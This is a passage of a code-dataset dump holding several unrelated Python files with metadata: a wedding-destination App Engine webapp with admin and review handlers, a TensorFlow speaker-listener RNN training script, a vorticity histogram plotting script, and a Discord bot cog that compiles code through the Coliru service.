package'''\n destination = models.get_destination_by_id(destination_id),\n packages = models.get_packages(destination.key.id())\n #TODO\n self.context.update({'destination': destination,\n 'packages' : packages})\n template = JINJA_ENVIRONMENT.get_template('package_list.html')\n self.response.out.write(template.render(self.context))\n\n def render_package(self, destination_id, package):\n\n if destination_id and package:\n package = models.Package.get_by_id(package)\n involved_providers = [ Provider.get_by_id (pr) for pr in package.involved_providers]\n\n self.context.update({'destination': models.get_destination_by_id(destination_id),\n 'package' : package,\n 'providers' : involved_providers})\n\n template = JINJA_ENVIRONMENT.get_template('package.html')\n self.response.out.write(template.render(self.context))\n\n\n def render_provider(self, destination_id, provider_id):\n #global user_profile\n provider = provider_m.get_provider_by_id(provider_id)\n\n\n if (self.user_profile and not self.user_profile.is_admin) or (not self.user_profile):\n ip = self.request.remote_addr\n log = models.Log()\n log.ip_address = ip\n log.provider_id = provider_id\n if (self.user_profile):\n log.user_id=self.user_profile.key.id()\n log.country = self.user_location['Country']\n log.region = self.user_location['Region']\n log.city = self.user_location['City']\n\n log.put()\n\n if not destination_id and self.user_profile and self.user_profile.last_destination_seen:\n destination_id = self.user_profile.last_destination_seen\n\n\n if destination_id and provider:\n self.context.update({'destination': models.get_destination_by_id(destination_id),\n 'provider' : provider})\n\n template = JINJA_ENVIRONMENT.get_template('provider.html')\n self.response.out.write(template.render(self.context))\n else:\n self.response._set_status(404)\n self.response.out.write('page not found')\n\n\n\nclass ProviderViewHandler(BaseRequestHandler):\n\n def get(self):\n path=self.request.path[1:]\n\n if path[-1] == '/':#remove trailing slash\n path=path[:-1]\n\n path_items = path.split('/')\n provider_id = path_items[1]\n\n provider = provider_m.get_provider_by_id(provider_id)\n\n\n if (self.user_profile and not self.user_profile.is_admin) or (not self.user_profile):\n\n ip = self.request.remote_addr\n log = models.Log()\n log.ip_address = ip\n log.provider_id = provider_id\n if (self.user_profile):\n log.user_id=self.user_profile.key.id()\n log.country = self.user_location['Country']\n log.region = self.user_location['Region']\n log.city = self.user_location['City']\n\n log.put()\n\n if self.user_profile and self.user_profile.last_destination_seen:\n destination_id = self.user_profile.last_destination_seen\n self.context.update( {'destination' : models.get_destination_by_id(destination_id) } )\n\n self.context.update({'provider' : provider})\n\n if provider:\n template = JINJA_ENVIRONMENT.get_template('provider.html')\n self.response.out.write(template.render(self.context))\n else:\n self.response._set_status(404)\n self.response.out.write('page not found')\n\n\n\n\nclass ProviderListHandler(BaseRequestHandler):\n def get(self):\n destination_id=self.request.path[len('/destination/'):]\n if destination_id:\n self.context.update({'destination': models.get_destination_by_id(destination_id)})\n template = JINJA_ENVIRONMENT.get_template('destination_landing.html')\n self.response.out.write(template.render(self.context))\n else:\n self.response._set_status(404)\n self.response.out.write('destination not found')\n\nclass OnetimeHandler(BaseRequestHandler):\n def get(self):\n code = int(self.request.get('code'))\n\n lc = models.Lottery_Codes.get_by_id(str(code))\n #lc = models.Lottery_Codes.query(models.Lottery_Codes.is_valid==True).fetch()\n\n if lc and lc.is_valid:\n p = provider_m.get_provider_by_id(lc.setup_data['provider_id'])\n self.context.update({'code': code, 'username':lc.username, 'source': lc.source, 'provider': p})\n self.context.update(lc.setup_data)\n template = JINJA_ENVIRONMENT.get_template('onetime_review_form.html')\n self.response.out.write(template.render(self.context))\n else:\n template = JINJA_ENVIRONMENT.get_template('error.html')\n self.response.out.write(template.render(self.context))\n\n def post(self):\n\n path=self.request.path[1:]\n\n if path[-1] == '/':#remove trailing slash\n path=path[:-1]\n\n path_items = path.split('/')\n\n\n code = str(self.request.get('code'))\n lc = models.Lottery_Codes.get_by_id(code)\n wedding_date = self.request.get('review_wedding_date').split('-')\n wedding_date = [int(d) for d in wedding_date]\n\n #self.response.out.write(self.request.get('review_wedding_date').split('-'))\n #return\n\n if Review.get_by_id(code) or not lc.is_valid:\n template = JINJA_ENVIRONMENT.get_template('error.html')\n self.context.update({'error': 'The code is not valid, please contact the administrators'})\n self.response.out.write(template.render(self.context))\n\n return #TODO error management\n\n r = Review(id=str(code))\n\n\n r.provider_id = self.request.get('provider_id')\n r.wedding_date = date(*wedding_date)\n r.positive_comments = self.request.get('comment_plus')\n r.negative_comments = self.request.get('comment_minus')\n r.rating = int(self.request.get('review_rating'))\n r.source = lc.source\n r.username = lc.username\n r.code = lc.code\n\n\n r_key = r.put() # TODO make this and lc.put a transaction\n if r_key:\n #self.response.out.write('thanks :')\n lc.is_valid = False\n lc.put()\n template = JINJA_ENVIRONMENT.get_template('thanks.html')\n self.response.out.write(template.render(self.context))\n else:\n template = JINJA_ENVIRONMENT.get_template('error.html')\n self.context.update({'error': 'Could not insert your review - I will notify the site administrators'})\n self.response.out.write(template.render(self.context))\n\n #self.response.out.write(r)\n #return\n\n\n\n\n\nclass MainHandler(BaseRequestHandler):\n def get(self):\n\n template = JINJA_ENVIRONMENT.get_template('landing.html')\n self.response.out.write(template.render(self.context))\n\n\n \napp = webapp2.WSGIApplication([\n ('/', MainHandler),\n ('/destination/.*', DestinationHandler),\n ('/provider/.*', ProviderViewHandler),\n ('/onetime/.*', OnetimeHandler)\n], debug=True)\n\n\n\n\n\n\n\n\n# ADMIN SECTION\n#**************************\n\nclass EditProviderHandler(AdminRequestHandler):\n\n\n def get(self):\n path=self.request.path[1:]\n\n if path[-1] == '/':#remove trailing slash\n path=path[:-1]\n\n path_items = path.split('/')\n\n\n if path_items[1]=='edit_provider' and path_items[2]:\n self.context.update({'provider': Provider.get_by_id(path_items[2])})\n else:\n self.context.update({'provider': None })\n\n\n self.context.update({'countries': models.get_country_list(),\n 'source_types': image_handler.SOURCE_TYPES,\n 'license_types': image_handler.LICENSE_TYPES,\n 'image_size_classes': image_handler.IMAGE_SIZE_CLASSES})\n\n template = JINJA_ENVIRONMENT.get_template('add_edit_provider2.html')\n self.response.out.write(template.render(self.context))\n\n def post(self):\n\n\n\n if self.request.get('delete'):\n p=Provider.get_by_id(cgi.escape(self.request.get('provider_id')))\n p.safe_delete()\n self.response.out.write('deleted' + cgi.escape(self.request.get('provider_id')))\n\n return\n\n p = Provider(id=cgi.escape(self.request.get('provider_id')))\n p.provider_type = cgi.escape(self.request.get('provider_type'))\n p.destination_id = self.request.params.getall('destination')\n p.contact_email = cgi.escape(self.request.get('contact_email'))\n p.webpage = cgi.escape(self.request.get('url'))\n p.phone = cgi.escape(self.request.get('phone'))\n\n\n\n\n\n\n names = {}\n descriptions = {}\n prices = {}\n general_rules = {}\n\n for language in languages.get_languages_list():\n names.update({language: cgi.escape(self.request.get('name__'+language))})\n descriptions.update({language: cgi.escape(self.request.get('description__'+language))})\n general_rules.update({language: cgi.escape(self.request.get('rules__'+language))})\n prices.update({ language: cgi.escape(self.request.get('pricerangetext__'+language)) })\n\n p.name = names\n p.description = descriptions\n p.price_range = prices\n p.general_rules = general_rules\n\n p.address = cgi.escape(self.request.get('address'))\n p.rating = int(self.request.get('rating'))\n\n #p.pricerange = cgi.escape(self.request.get('pricerangetext'))\n\n p.priceclass = int(self.request.get('price_class'))\n\n p.images = cgi.escape(self.request.get('pictures').strip(' ')).split('\\n')\n p.videos = cgi.escape(self.request.get('videos').strip(' ')).split('\\n')\n p.webpage = cgi.escape(self.request.get('webpage'))\n p.mapurl = cgi.escape(self.request.get('mapurl'))\n\n\n if self.request.get('p_offers_food'):\n p.p_offers_food = True\n else:\n p.p_offers_food = False\n if self.request.get('p_reachable_by_boat'):\n p.p_reachable_by_boat = True\n else:\n p.p_reachable_by_boat = False\n\n if self.request.get('p_offers_official_wedding'):\n p.p_offers_official_wedding = True\n else:\n p.p_offers_official_wedding = False\n\n if models.is_int(self.request.get('p_max_capacity')):\n p.p_max_capacity = int(self.request.get('p_max_capacity'))\n\n if self.request.get('is_complete'):\n p.is_complete = True\n else:\n p.is_complete = False\n\n p.p_allows_music = cgi.escape(self.request.get('p_allows_music'))\n p.p_languages_spoken = self.request.params.getall('p_languages_spoken')\n p.p_services_offered = self.request.params.getall('p_services_offered')\n #self.request.get('p_allows_music')\n\n #todo replace ths by using utils.get images from form\n #images=[] # OLD\n #media = []\n\n p.photos = image_handler.create_media_from_request(self.request,languages.get_languages_list(),MAX_IMAGES)\n\n #p.images = images\n\n\n valid, errors= p.safe_put()\n\n\n if valid: self.redirect('/provider/'+p.key.id())\n else: self.response.out.write(errors)\n\n\n\nclass EditDestHandler(AdminRequestHandler):\n\n def get(self):\n path=self.request.path[1:]\n\n if path[-1] == '/':#remove trailing slash\n path=path[:-1]\n\n path_items = path.split('/')\n if len (path_items)>2:\n\n self.context.update({\n 'destination': models.get_destination_by_id(path_items[2])\n })\n self.context.update({'countries' : models.get_country_list(),\n 'source_types': image_handler.SOURCE_TYPES,\n 'license_types': image_handler.LICENSE_TYPES,\n 'image_size_classes': image_handler.IMAGE_SIZE_CLASSES})\n\n template = JINJA_ENVIRONMENT.get_template('add_edit_destination.html')\n self.response.out.write(template.render(self.context))\n\n def post(self):\n\n\n if self.request.get('delete'):\n d=Destination.get_by_id(cgi.escape(self.request.get('destination_id')))\n d.safe_delete()\n self.response.out.write('deleted' + cgi.escape(self.request.get('destination_id')))\n\n return\n destination_id = self.request.get('destination_id')\n d = Destination(id=cgi.escape(destination_id))\n d.country = cgi.escape(self.request.get('country'))\n\n names = {}\n getting_married_info = {}\n\n for language in languages.get_languages_list():\n names.update({language: cgi.escape(self.request.get('name__'+language))})\n\n getting_married_info.update ({language: self.request.get('getting_married_info__'+language)})\n\n d.name = names\n d.getting_married_info = getting_married_info\n\n if self.request.get('is_complete'):\n d.is_complete = True\n else:\n d.is_complete = False\n\n d.images = utils.get_images_from_form(self.request, MAX_IMAGES)\n d.photos = image_handler.create_media_from_request(self.request,languages.get_languages_list(),MAX_IMAGES)\n\n d.safe_put()\n\n self.redirect('/destination/'+destination_id)\n\n\nclass PackageHandler(AdminRequestHandler):\n\n def get(self):\n #serves the form\n path=self.request.path[1:]\n\n if path[-1] == '/':#remove trailing slash\n path=path[:-1]\n\n path_items = path.split('/')\n if path_items[2]:\n self.context.update({ 'destination': models.get_destination_by_id(path_items[2]) })\n else:\n self.context.update({'destination': None })\n\n\n template = JINJA_ENVIRONMENT.get_template('add_edit_destination.html')\n self.response.out.write(template.render(self.context))\n\n def post(self):\n\n\n if self.request.get('delete'):\n p=Package.get_by_id(cgi.escape(self.request.get('package_id')))\n p.safe_delete()\n self.response.out.write('deleted' + cgi.escape(self.request.get('package_id')))\n\n return\n\n\n\n p = Package(id=cgi.escape(self.request.get('package_id')))\n p.destination_id = self.request.get('destination_id')\n if self.request.get('priceclass'):\n p.priceclass = int(self.request.get('priceclass'))\n p.pricerange = cgi.escape(self.request.get('pricerange'))\n p.number_of_guests = int(self.request.get('max_num_guests'))\n\n titles = {}\n subtitles = {}\n descriptions = {}\n\n for language in languages.get_languages_list():\n titles.update({language: cgi.escape(self.request.get('title__'+language))})\n subtitles.update({language: cgi.escape(self.request.get('subtitle__'+language))})\n descriptions.update({language: cgi.escape(self.request.get('description__'+language))})\n\n p.title = titles\n p.subtitle = subtitles\n p.description = descriptions\n p.involved_providers = [cgi.escape(x) for x in self.request.params.getall('checkboxes') ]\n p.put()\n\n self.redirect('/destination/'+p.destination_id+'/packages/'+p.key.id())\n\nclass AdminApiHandler(AdminRequestHandler):\n\n def get(self):\n path=self.request.path[1:]\n\n if path[-1] == '/':#remove trailing slash\n path=path[:-1]\n\n path_items = path.split('/')\n #self.response.out.write(path_items)\n\n\n if path_items[2]=='get_providers_for_package':\n\n\n if self.request.get('destination_id'):\n providers_dict = api.get_labeled_providers(self.request.get('destination_id'), self.request.get('package_id'))\n\n\n\n response_dict = {}\n self.response.headers['Content-Type'] = 'application/json'\n self.response.out.write(json.dumps(providers_dict, cls = api.MyEncoder))\n #self.response.out.write(json.dumps({'ciao' : ['ecco','fatto']}))\n\n\n #context.update({'providers_dictionary': models.get_providers_dict_by_type()})\n\n #template = JINJA_ENVIRONMENT.get_template('add_edit_package.html')\n #self.response.out.write(template.render(self.context))\n\n def post(self):\n pass\n\nclass AdminDoHandler(AdminRequestHandler):\n\n\n def request_sweep_url(self):\n\n providers = provider_m.get_providers()\n\n self.context.update({\"sources\":models.user_sources, 'providers': providers})\n\n template = JINJA_ENVIRONMENT.get_template('generate_sweep_url.html')\n self.response.out.write(template.render(self.context))\n\n def show_reviews(self):\n reviews = Review.query().fetch()\n self.context.update({'reviews': reviews})\n template = JINJA_ENVIRONMENT.get_template('reviews.html')\n self.response.out.write(template.render(self.context))\n\n def get(self):\n path=self.request.path[1:]\n\n if path[-1] == '/':#remove trailing slash\n path=path[:-1]\n\n path_items = path.split('/')\n\n\n if AdminDoHandler.functions.has_key(path_items[2]):\n AdminDoHandler.functions[path_items[2]](self)\n\n functions = {'generate_sweep_url' : request_sweep_url,\n 'show_reviews': show_reviews }\n\n\n\n\nclass AdminConsoleHandler(AdminRequestHandler):\n\n def get(self):\n\n\n self.context.update({'num_non_admin_users': models.getUserStats(),\n 'registrations_by_month': models.get_by_month(models.UserProfile,'created'),\n 'admin_stats':models.get_admin_stats()})\n\n template = JINJA_ENVIRONMENT.get_template('admin_console.html')\n self.response.out.write(template.render(self.context))\n\nclass ResetHandler(AdminRequestHandler):\n '''custom logic to update objects on the DB upon changes '''\n\n def get(self):\n pass\n\n\n\n # p.pricerange= {\"en\": \"ccc\", \"ru\": \"cccccccru\"}\n # p.safe_put()\n # self.response.out.write(\"done\")\n\n\n\n\n\n\n\n\nadminapp = webapp2.WSGIApplication([\n ('/admin/add_provider', EditProviderHandler),\n ('/admin/add_package', PackageHandler),\n ('/admin/do/.*', AdminDoHandler),\n ('/admin/add_edit_destination', EditDestHandler),\n ('/admin/edit_package/.*', PackageHandler),\n ('/admin/edit_provider/.*',EditProviderHandler),\n ('/admin/edit_destination/.*',EditDestHandler),\n ('/admin/console/?.*',AdminConsoleHandler),\n ('/admin/api/?.*',AdminApiHandler),\n ('/admin/reset/?.*',ResetHandler)\n], debug=True)\n\n\nclass ProviderConsoleHandler(BaseRequestHandler):\n\n def get(self):\n #get provider id\n # verify permission\n # get statistics\n #update context\n\n template = JINJA_ENVIRONMENT.get_template('provider_console.html')\n self.response.out.write(template.render(self.context))\n\nprovideradminapp = webapp2.WSGIApplication([\n ('/provider-console/.*', ProviderConsoleHandler)\n], debug=True)\n\n\n\n\n\n\nclass UserConsoleHandler(BaseRequestHandler):\n\n def get(self):\n self.context.update({'currencies': models.CURRENCIES})\n template = JINJA_ENVIRONMENT.get_template('user_console.html')\n self.response.out.write(template.render(self.context))\n\nclass SendPriceRequestHandler(BaseRequestHandler):\n\n def post(self):\n\n msg = 'Provider: ' + self.request.get('provider_name') + '\\nEmail: ' + self.request.get('provider_email') + '\\nDates: ' + self.request.get('dates') + '\\nNumber of Guests:' + self.request.get('num_guests')\n mail.send_mail(\n sender=users.get_current_user().email(),\n to='sphoebs@yahoo.com',\n subject='Price and availability request',\n body=msg + '\\nMessage: ' + self.request.get('message')\n )\n\nclass ViewFavorites(BaseRequestHandler):\n\n def get(self):\n\n if self.user_profile and self.user_profile.last_destination_seen: #TODO use memcache for this\n #todo improve using get multi\n favorites = [ models.safe_get_by_id(Provider,p) for p in self.user_profile.favorite_providers]\n self.context.update({'favorites': favorites})\n\n if self.user_profile.last_destination_seen:\n dest = models.get_destination_by_id(self.user_profile.last_destination_seen)\n self.context.update({'destination': dest})\n\n\n template = JINJA_ENVIRONMENT.get_template('favorites.html')\n self.response.out.write(template.render(self.context))\n\n\n\n\n\nclass WeddingInfo(BaseRequestHandler):\n\n def post(self):\n pass\n\n\nuseradminapp = webapp2.WSGIApplication([\n ('/user/console/', UserConsoleHandler),\n ('/user/pricerequest/', SendPriceRequestHandler),\n ('/user/view_favorites/', ViewFavorites),\n], debug=True)","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":25498,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"440536978","text":"\"\"\"\nRNN SYN 2: streamlined version\n\"\"\"\n\nimport net_2 as net\nimport tensorflow as tf\nimport shapeworld_fast as sf\nimport numpy as np\nimport random\nimport multiprocessing as mp\nimport time\nimport os\nfrom tensorflow.python import debug as tf_debug\n\n\ndef shuffle_envs_labels(envs, labels):\n new_envs = np.zeros_like(envs)\n new_labels = np.zeros_like(labels)\n world_seq = list(range(envs[0].shape[0]))\n # Loop through each world (env/label) in the batch\n for env_i, (env, label) in enumerate(zip(envs, labels)):\n # New sequence of worlds to retrieve from original envs/labels\n random.shuffle(world_seq)\n # Loop through new sequence, place this sequence in increasing order\n # in new_envs/labels\n for new_world_i, orig_world_i in enumerate(world_seq):\n new_envs[env_i, new_world_i] = env[orig_world_i]\n new_labels[env_i, new_world_i] = label[orig_world_i]\n return new_envs, new_labels\n\n\ndef build_end2end_model(n_images,\n image_dim=(64, 64, 3),\n net_arch=(256, 64, 512),\n rnncell=tf.contrib.rnn.GRUCell):\n \"\"\"\n Return an encoder-decoder model that uses raw ShapeWorld images.\n\n Listener has separate input and labels, since listener must be shuffled.\n\n net_arch:\n (number of GRU hidden units, message dimensionality,\n convnet toplevel layer dimensionality)\n\n \"\"\"\n n_hidden, n_comm, n_toplevel_conv = net_arch\n\n # The raw image representation, of shape n_images * image_dim\n t_features_raw = tf.placeholder(\n tf.float32, (None, n_images) + image_dim, name='features_speaker')\n\n t_features_toplevel_enc = net.convolve(t_features_raw, n_images,\n n_toplevel_conv, 'conv_speaker')\n weights_summary_op = tf.summary.histogram('t_features_toplevel_enc', t_features_toplevel_enc)\n\n # Whether an image is the target\n t_labels = tf.placeholder(\n tf.float32, (None, n_images), name='labels_speaker')\n\n # Listener observes own features/labels\n t_features_raw_l = tf.placeholder(\n tf.float32, (None, n_images) + image_dim, name='features_listener')\n t_labels_l = tf.placeholder(\n tf.float32, (None, n_images), name='labels_listener')\n\n # Encoder observes both object features and target labels\n t_labels_exp = tf.expand_dims(t_labels, axis=2)\n t_in = tf.concat(\n (t_features_toplevel_enc, t_labels_exp), axis=2, name='input_speaker')\n\n if rnncell == tf.contrib.rnn.LSTMCell:\n cell = rnncell(n_hidden, state_is_tuple=False)\n else:\n cell = rnncell(n_hidden)\n with tf.variable_scope(\"enc1\"):\n states1, hidden1 = tf.nn.dynamic_rnn(cell, t_in, dtype=tf.float32)\n t_hidden = hidden1\n t_msg = tf.nn.relu(\n net.linear(t_hidden, n_comm, 'linear_speaker'), name='message')\n\n # Decoder makes independent predictions for each set of object features\n with tf.name_scope('message_process'):\n t_expand_msg = tf.expand_dims(t_msg, axis=1)\n t_tile_message = tf.tile(t_expand_msg, (1, n_images, 1))\n\n t_features_toplevel_dec = net.convolve(t_features_raw_l, n_images,\n n_toplevel_conv, 'conv_listener')\n t_out_feats = tf.concat(\n (t_tile_message, t_features_toplevel_dec),\n axis=2,\n name='input_listener')\n t_pred = tf.squeeze(\n net.mlp(t_out_feats, (n_hidden, 1), (tf.nn.relu, None)),\n name='prediction')\n t_loss = tf.reduce_mean(\n tf.nn.sigmoid_cross_entropy_with_logits(\n labels=t_labels_l, logits=t_pred, name='xentropy'),\n name='loss')\n loss_summary = tf.summary.scalar('loss', t_loss)\n return (t_features_raw, t_labels, t_features_raw_l, t_labels_l, t_msg,\n t_pred, t_loss, t_features_toplevel_enc, t_features_toplevel_dec,\n loss_summary, weights_summary_op)\n\n\nif __name__ == '__main__':\n from argparse import ArgumentParser, ArgumentDefaultsHelpFormatter\n\n parser = ArgumentParser(\n description='RNN SYN 2', formatter_class=ArgumentDefaultsHelpFormatter)\n\n parser.add_argument(\n '--max_images', type=int, default=20, help='Maximum number of images')\n parser.add_argument('--n_batches', type=int, default=1000)\n now = time.strftime('%Y-%m-%d-%X', time.localtime())\n parser.add_argument('--log_dir', default=os.path.join('./logs', now),\n help='Tensorboard log directory')\n parser.add_argument('--batch_size', type=int, default=128)\n parser.add_argument('--n_cpu', type=int, default=mp.cpu_count())\n parser.add_argument('--debug', action='store_true')\n parser.add_argument('--save', type=str, default=None,\n help='Model save path')\n parser.add_argument('--type', choices=list(sf.IMG_FUNCS.keys()),\n default='single')\n parser.add_argument(\n '--correct_proportion',\n type=float,\n default=0.5,\n help='Correct proportion')\n\n args = parser.parse_args()\n\n t_feat_spk, t_lab_spk, t_feat_lis, t_lab_lis, t_msg, t_pred, t_loss, t_conv_s, t_conv_l, loss_summary_op, weights_summary_op = build_end2end_model(\n args.max_images)\n\n optimizer = tf.train.AdamOptimizer()\n o_train = optimizer.minimize(t_loss)\n session = tf.Session()\n if args.debug:\n session = tf_debug.LocalCLIDebugWrapperSession(session, dump_root='/local/scratch/jlm95/tfdbg/')\n session.run(tf.global_variables_initializer())\n\n writer = tf.summary.FileWriter(args.log_dir, graph=tf.get_default_graph())\n\n # Init pool here\n pool = mp.Pool(args.n_cpu)\n for batch_i in range(args.n_batches):\n if batch_i > 15000:\n if random.random() < 0.75:\n feat_spk, lab_spk, configs = sf.generate(\n args.batch_size,\n args.max_images,\n args.correct_proportion,\n float_type=True,\n img_func=sf.generate_spatial,\n pool=pool)\n else:\n feat_spk, lab_spk, configs = sf.generate(\n args.batch_size,\n args.max_images,\n args.correct_proportion,\n float_type=True,\n img_func=sf.generate_single,\n pool=pool)\n else:\n feat_spk, lab_spk, configs = sf.generate(\n args.batch_size,\n args.max_images,\n args.correct_proportion,\n float_type=True,\n img_func=sf.IMG_FUNCS[args.type],\n pool=pool)\n\n # Shuffle images for listener\n feat_lis, lab_lis = shuffle_envs_labels(feat_spk, lab_spk)\n\n batch_loss, preds, _, loss_summary, weights_summary = session.run(\n [t_loss, t_pred, o_train, loss_summary_op, weights_summary_op], {\n t_feat_spk: feat_spk,\n t_lab_spk: lab_spk,\n t_feat_lis: feat_lis,\n t_lab_lis: lab_lis\n })\n\n match = (preds > 0) == lab_lis\n match_acc = np.mean(match)\n hits = np.all(match, axis=1).mean()\n if batch_i % 10 == 0:\n print(\"Batch {}: overall acc: {:.4f} hits only: {:.4f} loss: {:.4f}\".format(\n batch_i, match_acc, hits, batch_loss))\n\n # Add summaries\n partial_acc_summary = tf.Summary(value=[\n tf.Summary.Value(tag='partial_acc',\n simple_value=match_acc)\n ])\n hits_summary = tf.Summary(value=[\n tf.Summary.Value(tag='hits',\n simple_value=hits)\n ])\n writer.add_summary(partial_acc_summary, batch_i)\n writer.add_summary(hits_summary, batch_i)\n writer.add_summary(loss_summary, batch_i)\n writer.add_summary(weights_summary, batch_i)\n\n if args.save is not None:\n saver = tf.train.Saver()\n saver.save(session, args.save)\n\n pool.close()\n pool.join()\n","sub_path":"rnn_syn_2.py","file_name":"rnn_syn_2.py","file_ext":"py","file_size_in_byte":8045,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"422906438","text":"from __future__ import print_function,division\nfrom scalar_field import VorticityComponentField, VorticityMagnitudeField\nfrom stats import MiniStats\nimport numpy as np\nimport tables\nimport pickle\nimport pylab\n\nif __name__ == '__main__':\n pylab.close('all')\n zerooffsets = [-15,5,15,25] # In etas\n stages = ['2000','7000','14000']\n FILENAME = '/data4/guillem/distances/histogram_vertical_weighted.dat'\n st = MiniStats('/data4/guillem/distances/tbl2-059-271.st.h5',rough=False)\n st.read()\n st.load_budgets('/data4/guillem/distances/tbl2-059-271.budget.h5')\n\n with open(FILENAME) as resfile:\n Results = pickle.load(resfile)\n \n for i,stage in enumerate(stages):\n f = tables.openFile('/data4/guillem/distances/tbl2-HR-Prod.212.real.{}.h5'.format(stage))\n NX0 = f.root.NX0.read()[0]\n OFFSET = 50\n NX = 600\n NY = np.where(st.y > 2*st.delta99(NX0+NX/2))[0][0]\n NZ = 600\n \n field = VorticityMagnitudeField(\n f.root.enstrophy[OFFSET:OFFSET+NX,:NY,:NZ],st,NX0+OFFSET)\n \n threslist = Results[i][0]\n\n for j,thres in enumerate(threslist):\n hist = Results[i][j+1][0]\n dist = Results[i][j+1][1]\n logvort = Results[i][j+1][2]\n\n logvortbin = 0.5*(logvort[1:]+logvort[:-1])\n distbin = 0.5*(dist[1:]+dist[:-1])\n\n logvort_average = np.array(\n [np.dot(logvortbin,\n histslice\n )/histslice.sum() for histslice in hist]\n )\n\n #Add the first point, that does not appear in the histogram\n distbin[1:] = distbin[:-1]\n distbin[0] = distbin[1]\n logvortbin[1:] = logvortbin[:-1]\n logvortbin[0] = np.log10(thres)\n \n pylab.figure(1)\n pylab.semilogy(distbin[20:]/field.kolmogorov_length_at_height(),\n 10**logvort_average[20:])\n \n pylab.figure(2)\n pylab.semilogy(distbin[20:]/field.taylor_microscale_at_height(),\n 10**logvort_average[20:])\n\n pylab.figure(3)\n pylab.semilogy(distbin[20:]/st.delta99(NX0+NX/2),\n 10**logvort_average[20:])\n\n if i == 2 and j == 0:\n pylab.figure(991)\n pylab.contour(field.xr, field.yr, field.data[0,:,:],[thres],linewidths=2)\n\n for zerooffset in zerooffsets:\n pastzero = np.where(distbin/field.kolmogorov_length_at_height()>zerooffset)[0][0]\n print(\"The point is {}\".format(pastzero))\n \n f = pylab.figure(10)\n pylab.contour(10**logvortbin,distbin/field.kolmogorov_length_at_height(),\n np.log10(hist),linewidths=2)\n pylab.ylabel(r'$d/\\eta$',fontsize=22)\n pylab.xlabel(r'$\\omega^*$',fontsize=22)\n pylab.plot(thres*np.ones(logvortbin.shape),\n distbin/field.kolmogorov_length_at_height(),'k--',linewidth=2)\n pylab.plot(10**logvortbin,np.zeros(distbin.shape),\n 'k--',linewidth=2)\n pylab.plot(10**logvortbin,\n distbin[pastzero]*np.ones(distbin.shape)/field.kolmogorov_length_at_height(),\n 'r-',linewidth=2)\n ax = pylab.gca()\n ax.set_xscale('log')\n f.subplots_adjust(bottom=0.15)\n \n f = pylab.figure(11)\n pylab.loglog(10**logvortbin,\n hist[pastzero,:]/np.trapz(\n hist[pastzero,:],10**logvortbin),linewidth=2)\n pylab.ylabel(r'$P(\\omega^*)$',fontsize=22)\n pylab.xlabel(r'$\\omega^*$',fontsize=22)\n f.subplots_adjust(bottom=0.15)\n \n\n if i == 2 and j == 9:\n for zerooffset in zerooffsets:\n pastzero = np.where(\n distbin/field.kolmogorov_length_at_height()>zerooffset)[0][0]\n print(\"The point is {}\".format(pastzero))\n \n f = pylab.figure(20) \n pylab.contour(10**logvortbin,distbin/field.kolmogorov_length_at_height(),\n np.log10(hist),linewidths=2)\n pylab.ylabel(r'$d/\\eta$',fontsize=22)\n pylab.xlabel(r'$\\omega^*$',fontsize=22)\n pylab.plot(thres*np.ones(logvortbin.shape),\n distbin/field.kolmogorov_length_at_height(),'k--',linewidth=2)\n pylab.plot(10**logvortbin,np.zeros(distbin.shape),\n 'k--',linewidth=2)\n pylab.plot(10**logvortbin,\n distbin[pastzero]*np.ones(distbin.shape)/field.kolmogorov_length_at_height(),\n 'r-',linewidth=2)\n ax = pylab.gca()\n ax.set_xscale('log')\n f.subplots_adjust(bottom=0.15)\n \n f = pylab.figure(21)\n pylab.loglog(10**logvortbin,\n hist[pastzero,:]/np.trapz(\n hist[pastzero,:],10**logvortbin),linewidth=2)\n pylab.ylabel(r'$hist(\\omega^*)$',fontsize=22)\n pylab.xlabel(r'$\\omega^*$',fontsize=22)\n f.subplots_adjust(bottom=0.15)\n \n\n f = pylab.figure(1)\n xlabel(r'$d/\\eta$',fontsize=22)\n ylabel(r'$\\omega^*$',fontsize=22)\n f.subplots_adjust(bottom=0.15)\n pylab.xlim([-14,300])\n pylab.ylim([0.0005,10])\n\n f = pylab.figure(2)\n xlabel(r'$d/\\lambda$',fontsize=22)\n ylabel(r'$\\omega^*$',fontsize=22)\n f.subplots_adjust(bottom=0.15)\n pylab.xlim([-2.5,20])\n pylab.ylim([0.0005,10])\n \n f = pylab.figure(3)\n xlabel(r'$d/\\delta_{99}$',fontsize=22)\n ylabel(r'$\\omega^*$',fontsize=22)\n f.subplots_adjust(bottom=0.15)\n pylab.xlim([-0.1,1])\n pylab.ylim([0.0005,10])\n","sub_path":"posthist.py","file_name":"posthist.py","file_ext":"py","file_size_in_byte":6214,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"148672851","text":"import discord\nimport aiohttp\nimport json\nfrom discord.ext import commands\nfrom .utils import CodeBlock\n\nclass CodeCog(commands.Cog):\n \"\"\"Compile & Run cpp,c,py,haskell code using coliru\n\n Please Dont Abuse\n \"\"\"\n\n def __init__(self, bot):\n self.bot = bot\n\n @commands.command(aliases=[\"code\"])\n async def coliru(self, ctx, code: CodeBlock):\n \"\"\"Compiles Code Through coliru API\n\n You have to pass in a code block with the language syntax\n either set to one of these:\n - cpp\n - c\n - python\n - py\n - haskell\n\n Anything else isn't supported. The C++ compiler uses g++ -std=c++14.\n The python support is now 3.5.2.\n\n Please don't spam this for Stacked's sake.\n \"\"\"\n payload = {\n 'cmd': code.command,\n 'src': code.source\n }\n\n data = json.dumps(payload)\n\n async with ctx.session.post('http://coliru.stacked-crooked.com/compile', data=data) as resp:\n if resp.status != 200:\n await ctx.send('Coliru did not respond in time.')\n return\n\n output = await resp.text(encoding='utf-8')\n\n if len(output) < 1992:\n await ctx.send(f'```\\n{output}\\n```')\n return\n\n # output is too big so post it in gist\n async with ctx.session.post('http://coliru.stacked-crooked.com/share', data=data) as r:\n if r.status != 200:\n await ctx.send('Could not create coliru shared link')\n else:\n shared_id = await r.text()\n await ctx.send(f'Output too big. Coliru link: http://coliru.stacked-crooked.com/a/{shared_id}')\n\n\ndef setup(bot):\n bot.add_cog(CodeCog(bot))\n","sub_path":"code/code.py","file_name":"code.py","file_ext":"py","file_size_in_byte":1789,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"386436446","text":"# Copyright 2018 German 